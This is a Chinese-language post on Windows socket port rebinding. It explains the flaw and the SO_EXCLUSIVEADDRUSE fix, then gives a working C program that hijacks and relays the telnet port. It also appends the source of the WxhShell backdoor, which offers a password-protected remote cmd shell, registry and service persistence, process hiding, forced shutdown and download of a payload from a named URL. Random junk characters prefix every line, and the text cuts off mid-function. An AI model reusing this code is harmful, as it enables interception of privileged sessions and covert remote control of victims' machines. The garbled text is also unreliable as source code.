在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,E7+Z' ; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
a#i85su *[
' n8Z saddr.sin_family = AF_INET;
0^%\! Xxq .`I;qF saddr.sin_addr.s_addr = htonl(INADDR_ANY);
`2WtA_ (~59}lu~ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
l ~bjNhk S7|6dwQ& 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
i|`b2msvd Cx
N]fo 这意味着什么?意味着可以进行如下的攻击:
W|~Jl7hs8Q BIu%A]e" 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q,e{t#t *.'9 eC0s 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
R1!F mZW8 A$6T) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
oK-T@ &- \IL;}D{ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
m7dpr$J *8QESF9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
96V@+I 4yZ'+\ +I 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Gky
e sl5y1W/]] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
S_Tv Ix/7& "7]YvZYu0 #include
[RAzKzC\M #include
4t C-msTf #include
gY],U4_:p #include
. J/x@ DWORD WINAPI ClientThread(LPVOID lpParam);
c
`[,> int main()
0Q>yv;M {
<yoCW?# WORD wVersionRequested;
fbl8:c)I DWORD ret;
/w!!jj^ WSADATA wsaData;
1 #zIAN> BOOL val;
3SI~?&HU!/ SOCKADDR_IN saddr;
gs xT SOCKADDR_IN scaddr;
G}2DZ=&>' int err;
$uPM.mPFE SOCKET s;
s8r|48I#; SOCKET sc;
^~p^N < int caddsize;
;^[VqFpeS HANDLE mt;
RJYB=y8l DWORD tid;
Mu1H*;_8 wVersionRequested = MAKEWORD( 2, 2 );
bOB<m4 err = WSAStartup( wVersionRequested, &wsaData );
Zb \E!>V if ( err != 0 ) {
0h3-;% printf("error!WSAStartup failed!\n");
35;UE2d)< return -1;
k=nN#SMn }
W[$GB_A) saddr.sin_family = AF_INET;
JU6PBY~C' ,qj1"e //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(plsL
5W Z9z-6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
`rwzCwA1 saddr.sin_port = htons(23);
T#o?@; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M0B6v}^H {
]-rhc.Gk@1 printf("error!socket failed!\n");
?Z1&ju,Hd- return -1;
%8L>|QOX }
9=l6NNe)| val = TRUE;
9Kpzj43 //SO_REUSEADDR选项就是可以实现端口重绑定的
T?DX|?2X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
D*nNu]|j {
Vgj&hdbd printf("error!setsockopt failed!\n");
LH@xr\^ return -1;
vMlT }
I6.!0.G //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=K:)%Qh //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
F39H@%R //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
O+w82!<: gbvMS*KQz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
@GyxOc@6 {
vvwQ/iJO4Q ret=GetLastError();
,CED% printf("error!bind failed!\n");
DPg\y".4Y& return -1;
l6~wm1vO }
Po*G/RKu4W listen(s,2);
;QS(`SK l while(1)
dVKctt'C {
y{k65dk- caddsize = sizeof(scaddr);
, #nYH D //接受连接请求
3[r9v!l sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
HOSt0IHzty if(sc!=INVALID_SOCKET)
o$rA;^2X {
N% !TFQf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
H-C$Jy)f" if(mt==NULL)
m/bP`-/, {
4T??8J-J printf("Thread Creat Failed!\n");
d9Uv/VGp break;
iyJx~: }
! lxq,Whr{ }
|E?,hTRe5 CloseHandle(mt);
KJYcP72P }
<X"_S'O closesocket(s);
`_+% WSACleanup();
/*1p|c ^ return 0;
:ZsAWe{%,J }
n`.JI(| DWORD WINAPI ClientThread(LPVOID lpParam)
m"f3hd4D_q {
`
#; " SOCKET ss = (SOCKET)lpParam;
KXT9Wt= SOCKET sc;
RMs+pN<5 unsigned char buf[4096];
\\P*w$c SOCKADDR_IN saddr;
JXQh$hs long num;
1b,MJ~g$ DWORD val;
!:3X{)4 DWORD ret;
ows3% //如果是隐藏端口应用的话,可以在此处加一些判断
H(tT8Q5i //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
![&9\aH saddr.sin_family = AF_INET;
Eg(.L,dj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
o&MOcy D saddr.sin_port = htons(23);
0]xp"xOwW if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ya;y@44 {
p&2oe\j$, printf("error!socket failed!\n");
5;X r0f return -1;
.'bhRQY }
1ZY~qP+n+ val = 100;
<UwYI_OX if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
M{g.x4M@W {
o>HU4O} ret = GetLastError();
hv *XuT/ return -1;
_&N}.y)+t }
Sym}#F\s if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%D3Asw/5a {
%+oqAYm+s ret = GetLastError();
BS3{TGn return -1;
|nBs(>b }
P=.~LZZ]89 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
7^<6|>j4 {
MzH'<`;BP printf("error!socket connect failed!\n");
gv){&=9/
closesocket(sc);
1A[(R T] closesocket(ss);
5A+@xhRf return -1;
R6TT1Ka3c }
v#?;PyeF while(1)
gwr?(:? {
c
Qe3 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
jVh:Bw //如果是嗅探内容的话,可以再此处进行内容分析和记录
Tn9Fg7< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
{< EPm&q num = recv(ss,buf,4096,0);
KTBtLUH]*F if(num>0)
tu(^D23 send(sc,buf,num,0);
m&s>Sn+ else if(num==0)
6)BPDfU, break;
5A<}*T num = recv(sc,buf,4096,0);
;WAa4r> if(num>0)
>TiEYMW send(ss,buf,num,0);
mn\A)RQ else if(num==0)
H23 O]r break;
#c":y5: }
ooBBg@ closesocket(ss);
A3*(c3 closesocket(sc);
G:y+yE4 return 0 ;
29CzG0?B }
o';/$xrH l}r 9kS 8!HB$vdw7 ==========================================================
bwcr/J(Nb M<*WC{ 下边附上一个代码,,WXhSHELL
@rAV;D% !d U$1:7 ==========================================================
1e7I2g $d!Vx m #include "stdafx.h"
6GPI
gPL, t1"#L_<e #include <stdio.h>
/nu z_y\J #include <string.h>
k3nvML,bv #include <windows.h>
psc
Fb$b #include <winsock2.h>
U*E)y7MY #include <winsvc.h>
DW78SoyedZ #include <urlmon.h>
`'sD (e yN0`JI #pragma comment (lib, "Ws2_32.lib")
-{8K/! #pragma comment (lib, "urlmon.lib")
EApbaS}Up v3FdlE #define MAX_USER 100 // 最大客户端连接数
%>_6&A{K,d #define BUF_SOCK 200 // sock buffer
9=3DYCk/ #define KEY_BUFF 255 // 输入 buffer
^3S&LC
1;| .|5$yGEF_+ #define REBOOT 0 // 重启
*B}O #define SHUTDOWN 1 // 关机
6]d]0TW_ _oCNrjt9 #define DEF_PORT 5000 // 监听端口
h9CTcWGt /e?0Iv"
8> #define REG_LEN 16 // 注册表键长度
dpscgW{M #define SVC_LEN 80 // NT服务名长度
eh `%E0b} 3Cc#{X-+ // 从dll定义API
%dg[ho typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
w:QO@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Z%:>nDZV typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
RK &>!^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
O^row1D_ B 5|\<CF // wxhshell配置信息
cPNc$^Y struct WSCFG {
]2qKc int ws_port; // 监听端口
B6k<#-HAT char ws_passstr[REG_LEN]; // 口令
>>$`]]7 int ws_autoins; // 安装标记, 1=yes 0=no
E KV[cq char ws_regname[REG_LEN]; // 注册表键名
@|c]) char ws_svcname[REG_LEN]; // 服务名
jxkjPf? char ws_svcdisp[SVC_LEN]; // 服务显示名
*1<kYrB char ws_svcdesc[SVC_LEN]; // 服务描述信息
.E}lAd.Mn char ws_passmsg[SVC_LEN]; // 密码输入提示信息
0~^RHb.NA8 int ws_downexe; // 下载执行标记, 1=yes 0=no
()l3X.t,$ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
l9&k!kF` char ws_filenam[SVC_LEN]; // 下载后保存的文件名
+K`A2&F9 K8&;B)VT> };
`z0q:ME <SI|)M,, 3 // default Wxhshell configuration
KZw~Ch}b9 struct WSCFG wscfg={DEF_PORT,
kY~4AH "xuhuanlingzhe",
BA]$Fi.Mw 1,
w&aZ 97{ "Wxhshell",
sE6>JaH "Wxhshell",
"a8E0b "WxhShell Service",
`Zm6e!dH- "Wrsky Windows CmdShell Service",
o'!=x$Ky "Please Input Your Password: ",
EyE#x_A 1,
?1SsF>| "
http://www.wrsky.com/wxhshell.exe",
VWvSt C "Wxhshell.exe"
-SrZ^ };
rR> X< KkA)p/ // 消息定义模块
}oRBQP^&K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
qq| 5[I.? char *msg_ws_prompt="\n\r? for help\n\r#>";
MYWkEv7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
$Iwvecn?I char *msg_ws_ext="\n\rExit.";
k2U*dn"9U char *msg_ws_end="\n\rQuit.";
:}lqu24K char *msg_ws_boot="\n\rReboot...";
uw}Rr7q char *msg_ws_poff="\n\rShutdown...";
T }}2J/sj char *msg_ws_down="\n\rSave to ";
hJ@vlMW bO=|utpk char *msg_ws_err="\n\rErr!";
@%]A,\ char *msg_ws_ok="\n\rOK!";
9r!8BjA 7>JTQ CJ char ExeFile[MAX_PATH];
HC%Hbc~S_Q int nUser = 0;
\#{PV\x:Nn HANDLE handles[MAX_USER];
9zu;OK% int OsIsNt;
54+(o6E< VfX^iG r SERVICE_STATUS serviceStatus;
=RQF::[h SERVICE_STATUS_HANDLE hServiceStatusHandle;
k?+ 7%A] Aqyw // 函数声明
4ax{Chn int Install(void);
m ptFd int Uninstall(void);
bdg6B7%Q int DownloadFile(char *sURL, SOCKET wsh);
uoS:-v}/Y~ int Boot(int flag);
DXs an void HideProc(void);
j#l=%H int GetOsVer(void);
|&; ^?M int Wxhshell(SOCKET wsl);
Ipp_}tl_ void TalkWithClient(void *cs);
sh<Q2X
int CmdShell(SOCKET sock);
@(t3<g int StartFromService(void);
m2(>KMbi int StartWxhshell(LPSTR lpCmdLine);
pRd.KY -< c4Ebre-Oa VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@)Qgy}*5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
K"#$",}= 8Q'Emw | // 数据结构和表定义
U0x
A~5B SERVICE_TABLE_ENTRY DispatchTable[] =
nV'1 $L# {
osW"wh_ {wscfg.ws_svcname, NTServiceMain},
OF-k7g7 {NULL, NULL}
+7_qg
i7: };
u47<J?!Q -+R,="nRQ // 自我安装
w,UE0i9I int Install(void)
!~ox;I}S {
Jw)JV~/0 char svExeFile[MAX_PATH];
56v G R( HKEY key;
':*H#}Br-# strcpy(svExeFile,ExeFile);
=[B\50] TW|K.t@5#H // 如果是win9x系统,修改注册表设为自启动
$8tk|uh if(!OsIsNt) {
EVmBLH-a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D#;7S'C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
2]!@)fio` RegCloseKey(key);
at uqo3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c -w #` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
a_?sJ RegCloseKey(key);
epy2}TI return 0;
'I[?R&j$G }
mLCDN1UO{ }
'uL4ezTtA }
a5*r1, else {
wQxI({k@ MN?aPpr> // 如果是NT以上系统,安装为系统服务
@16GF!. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
F8pA)!AH if (schSCManager!=0)
)+.=z {
kR =sr/{ SC_HANDLE schService = CreateService
qC`}vr|Z (
"\|P6H schSCManager,
.NOAp wscfg.ws_svcname,
&@iOB #H wscfg.ws_svcdisp,
+B*]RL[th SERVICE_ALL_ACCESS,
c'oiW)8;A SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
10SI&O SERVICE_AUTO_START,
\VpEUU6^U SERVICE_ERROR_NORMAL,
/7}pReUj svExeFile,
OBi(]l}^O NULL,
)qy?x7 NULL,
(/:m*x*6 NULL,
*Fy6-CC1 NULL,
,Lig6Z` NULL
D$l!lRu8+L );
P:{Aqn~zR if (schService!=0)
L}h_\1 {
[)"\Aq CloseServiceHandle(schService);
-1Q24jrO- CloseServiceHandle(schSCManager);
D{(}&8a9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Y`g o V strcat(svExeFile,wscfg.ws_svcname);
DNGyEC
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
8T1`9ITl: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T]th3* RegCloseKey(key);
{H)7K.hQN return 0;
`2f/4]fY }
Yq ]sPE92 }
n]g"H CloseServiceHandle(schSCManager);
~4fE`-O }
~.T|n = }
h*Fv~j'p [*
<x) return 1;
a2P)@R }
J
8
KiL gX"-3w // 自我卸载
|dR}S!fmG int Uninstall(void)
pX&bX_F{ {
[FBS|v#T HKEY key;
#Th)^Is TtkHMPlm_ if(!OsIsNt) {
KElEGW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(\ab%M RegDeleteValue(key,wscfg.ws_regname);
w[X-Q+7p(t RegCloseKey(key);
lC($@sC % if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0/v]YK. RegDeleteValue(key,wscfg.ws_regname);
f2e;N[D RegCloseKey(key);
P!79{ 8 return 0;
^6 wWv&G[8 }
b-ss^UL }
)Fx]LeI; }
ao)';[%9s else {
LG8h@HY&L Ao\P|K9MyL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
sJL Oz> if (schSCManager!=0)
J8)l ,J" {
UOb`@# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
>ZJ]yhbhK if (schService!=0)
# Wi?I=, {
DKf(igw if(DeleteService(schService)!=0) {
NK qIx CloseServiceHandle(schService);
pg%(6dqK4 CloseServiceHandle(schSCManager);
]EKg)E return 0;
G QYR`;> }
lqfTF CloseServiceHandle(schService);
fG1iq<~ }
1)k+v17]f5 CloseServiceHandle(schSCManager);
Il
[~ }
Cn/WNCzst& }
+(2$YJ35 Q0(6n8i return 1;
_tHhS@ }
MsXw
8D ^2-
<XD) // 从指定url下载文件
Wxj_DTi[1" int DownloadFile(char *sURL, SOCKET wsh)
~vA{I%z5~ {
E!ndXz 59 HRESULT hr;
!'H$08Ql} char seps[]= "/";
wF`Y
,@ char *token;
`,6|6.8# char *file;
Zp)=l Td char myURL[MAX_PATH];
#csP.z3^y char myFILE[MAX_PATH];
U>lf-iI2B {_N9<i{T strcpy(myURL,sURL);
JwbZ`Z*w token=strtok(myURL,seps);
l~"T>=jq3 while(token!=NULL)
e' M&Eh {
]qqgEZ1!Y file=token;
9nN1f@Y token=strtok(NULL,seps);
F6}RPk\=i }
X8ulaa :\|A.#
U GetCurrentDirectory(MAX_PATH,myFILE);
}sH[_%) strcat(myFILE, "\\");
l
L;5*@
strcat(myFILE, file);
o#p%IGG` send(wsh,myFILE,strlen(myFILE),0);
ketp9}u send(wsh,"...",3,0);
hY.i`sp*/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u79- B-YW^ if(hr==S_OK)
^7yt> return 0;
YTyrX else
B,\VLX return 1;
o{y}c-> J[<Zy^"Y; }
ZMQ=D!kT @#4-4.6I<x // 系统电源模块
y;ElSt;S int Boot(int flag)
o*H U^ {
Ef#LRcG-Z HANDLE hToken;
~bZ=]i TOKEN_PRIVILEGES tkp;
m}'_Poc M?lh1Yu" if(OsIsNt) {
5z_d$.CIc OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6|NH*#s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-qj[ck(y tkp.PrivilegeCount = 1;
es*$/A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!uGfS' Vl AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
OL
0YjU@ if(flag==REBOOT) {
.j:,WF<"l5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~`AB-0t.u return 0;
2Xl+}M.:Y }
-UkK$wP5 else {
w!"L\QT if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
z&gmaYwq return 0;
==[(Mn,%d }
x1eC r_ }
}i!+d,|f else {
6o^>q&e}% if(flag==REBOOT) {
eJo" Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8QTry% return 0;
ipn-HUrE@ }
bX$z)]KKu else {
\( s `=(t if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
2V@5:tf return 0;
T!H(Y4A }
>B{qPrmI }
w<H Xe "\@J0|ppb return 1;
"IU}>y>J }
?1ey$SSU] 5b:1+5iF- // win9x进程隐藏模块
zls^JTE void HideProc(void)
&`qYe)1Eo {
]S%_&ZMCM 9W=(D|,, HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
3g;Y if ( hKernel != NULL )
OH>.N"IG {
}K) AjZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
TIJH}Ri ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
QT+kCN FreeLibrary(hKernel);
V<9L-7X 8 }
@S3 L%lOH ""7H;I& return;
wxHd^b }
LhAN( [ QqF<HCO // 获取操作系统版本
Yuv=<V int GetOsVer(void)
qVh?%c1.Y {
dlo`](5m OSVERSIONINFO winfo;
+}m`$B}mJ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
P1OYS\ GetVersionEx(&winfo);
C1{Q 4(K% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{qHQ_ _Bl return 1;
_i ztQ78 else
QyA^9@iVs return 0;
Vl$RMW@Ds }
dXDyY B4un6-<i // 客户端句柄模块
\'=svJ
int Wxhshell(SOCKET wsl)
EJ
{vJZO {
(A2ga):Pk SOCKET wsh;
}*J04o$oI struct sockaddr_in client;
cWnEp';. DWORD myID;
>0SG]er@ Jhj ]`$J while(nUser<MAX_USER)
O)^F z: {
c*#$sZ@YA int nSize=sizeof(client);
Fdl0V:< wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
)PR`irw if(wsh==INVALID_SOCKET) return 1;
,8DC9yM, b:9"nALgC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ox
,Rk if(handles[nUser]==0)
j7);N closesocket(wsh);
F+G+XtOS else
e lM<S3 nUser++;
lrPIXIM }
}qGd*k0F0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
R,.qQF\* -c8h!.Q$ return 0;
@sa_/LH!K }
.`KzA] 7&etnQJ{ // 关闭 socket
fvta< void CloseIt(SOCKET wsh)
?pQ0*
O0 {
DIYR8l}x closesocket(wsh);
~2[kCuu nUser--;
bOYM-\
{y ExitThread(0);
I7h v'3u }
.5SYN-@ - ]/=WAOK // 客户端请求句柄
2I suBX\[ void TalkWithClient(void *cs)
uu-M7>+ {
1e9~):C~W Yx66Xy SOCKET wsh=(SOCKET)cs;
t\:=|t, char pwd[SVC_LEN];
Kl ?C[ char cmd[KEY_BUFF];
U$@}!X char chr[1];
Y ajAz5N int i,j;
#xR=U" D0_CDdW%7 while (nUser < MAX_USER) {
18j>x3tn :rk6Stn$z if(wscfg.ws_passstr) {
)yz)Fw|& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
o*~=NoR //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4F -<j! //ZeroMemory(pwd,KEY_BUFF);
QXa2qxTc i=0;
3k8nWT:wT while(i<SVC_LEN) {
x'G_z_<V r0OP !u // 设置超时
~USyN'5lU7 fd_set FdRead;
Om;`"5 struct timeval TimeOut;
}YiFiGf, FD_ZERO(&FdRead);
)2^r
0(x FD_SET(wsh,&FdRead);
EpT^r8I TimeOut.tv_sec=8;
J}bLp
Z TimeOut.tv_usec=0;
:"nh76xg< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6xr%xk2E if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
[tC=P&< .Y!dO@$: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
^P.U_2& pwd
=chr[0]; B<.ZW}#v
if(chr[0]==0xd || chr[0]==0xa) { H4wDF:n0H
pwd=0; -) +B!"1
break; j5smmtM`s
} q&:%/?)x
i++; 8"[{[<-
} szqR1A
[_KOU2
// 如果是非法用户,关闭 socket zlkW-rRkR
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J{5p4bkb
} " w /Odd
s|[qq7
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <|E*aR|M
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k|jr+hmn":
M`*
BS
while(1) { #7YJ87<E
T;,,!
ZeroMemory(cmd,KEY_BUFF); `0+-:sXZ6
oykb8~u}}
// 自动支持客户端 telnet标准 >I;.q|T
j=0; s._,IW;
while(j<KEY_BUFF) { xbCQ^W2YU|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u3Zu ~C
cmd[j]=chr[0]; ,nV4%Aa
if(chr[0]==0xa || chr[0]==0xd) { \IqCC h
cmd[j]=0; :/"5x
break; fMM%,/b{
} ^q|W@uG-(
j++; CZ{7?:^f
} *dC&*6Rx
U+["b-c
// 下载文件 r{*BJi.b
if(strstr(cmd,"http://")) { wL>;_KdU`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); cT;Zz5
if(DownloadFile(cmd,wsh)) _S-@|9\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ao|n<*}
else bu08`P9
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fILvEf4b
} qN
Ut
else { 7 Z?
Hyv
(I+e@UUiL
switch(cmd[0]) { eYu 0")
<:8Ew
// 帮助 BP\6N%HC%&
case '?': { Fw}|c
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $>+g)
break; N\rL ~4/
} d..JW{
// 安装 ?|\wJrM ]
case 'i': { P^<to(|
if(Install()) 1Lp; LY"_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qam48XZ >
else t-<BRnxhE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zp9kxm'
break; @S>;t)\J
} !DF5NAE
// 卸载 <~:2~r
case 'r': { lWT`y
if(Uninstall()) d9%P[(yM^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qL[SwEc
else h@y>QhYU0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v53|)]V
break; ibG>|hV
} N0JdU4'
// 显示 wxhshell 所在路径 Tf?`_jL
case 'p': { <td]k%*+
char svExeFile[MAX_PATH]; HIC!:|
strcpy(svExeFile,"\n\r"); k]`-Y E
strcat(svExeFile,ExeFile); :M<] 6o
send(wsh,svExeFile,strlen(svExeFile),0); ,xAF=t
break; #3'M>SaoH
} A
r>BL2@
// 重启 g#cet{>
case 'b': { ^Xu4N"@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !]RSG^%s{
if(Boot(REBOOT)) s{j A!T}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5Z6MQ`(k
else { ,|.}6\zl*{
closesocket(wsh); 49c-`[d
L
ExitThread(0); KC9e{
} bMNr +N
break; "Wr[DqFd
} siT`O
z|,
// 关机 &ODo7@v`1
case 'd': { 5sN6&'[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =9,^Tu|
if(Boot(SHUTDOWN))
*
1xs/$`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); x{tlC}t
else { E-FR
w
closesocket(wsh); '3WtpsKA
ExitThread(0); L[,19;(
} t8rFn
break; Eh|,[D!E
} F*r)
// 获取shell v\@RwtP
case 's': { b78~{ht`
CmdShell(wsh); "k{so',7z
closesocket(wsh); SgehOu
ExitThread(0); GQ>0E
break; u*rP8GuS
} ]dI^
S
// 退出 Y0A(-"
case 'x': { zB~< @
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N' R^gL
CloseIt(wsh); |5O>7~Tp
break; pt,L
} s.Ai_D
// 离开 *kg->J
case 'q': { 1gbFl/i6T
send(wsh,msg_ws_end,strlen(msg_ws_end),0); tqCkqmyC
closesocket(wsh); IDFzyg_
WSACleanup(); &ah%^Z4um
exit(1); $D#h, `
break; V-n{=8s
} =CZRX'
+yN
} "QxULiw
} /#H P;>!n
#?jsC)
// 提示信息 #~"IlBk\
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fx[&"$X
} orH6R8P]
} J&,hC%]
vk48&8
return; h\w;SDwOk
} -bzlp7q*
a*U[;(
// shell模块句柄 6AG]7d<
int CmdShell(SOCKET sock) ['.])
{ n9}BT^4 v
STARTUPINFO si; @:GqOTN
ZeroMemory(&si,sizeof(si)); OB$Jv<C@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $S|+U}]C
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C|TQf8
PROCESS_INFORMATION ProcessInfo; abR<( H12
char cmdline[]="cmd"; Af]zv~uM
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &l1t5 !
return 0; "5~?`5Ff
} aq}hlA(w
SYA~I-OYc
// 自身启动模式 |<,qnf| -
int StartFromService(void) `y.4FA4"8
{ 8:V,>PH
typedef struct ZF[W<Q
{ 9U6$-]J
DWORD ExitStatus; f^B8!EY#:
DWORD PebBaseAddress; Jj>Rzj!m
DWORD AffinityMask; -6kX?sNl)X
DWORD BasePriority; [+dCA
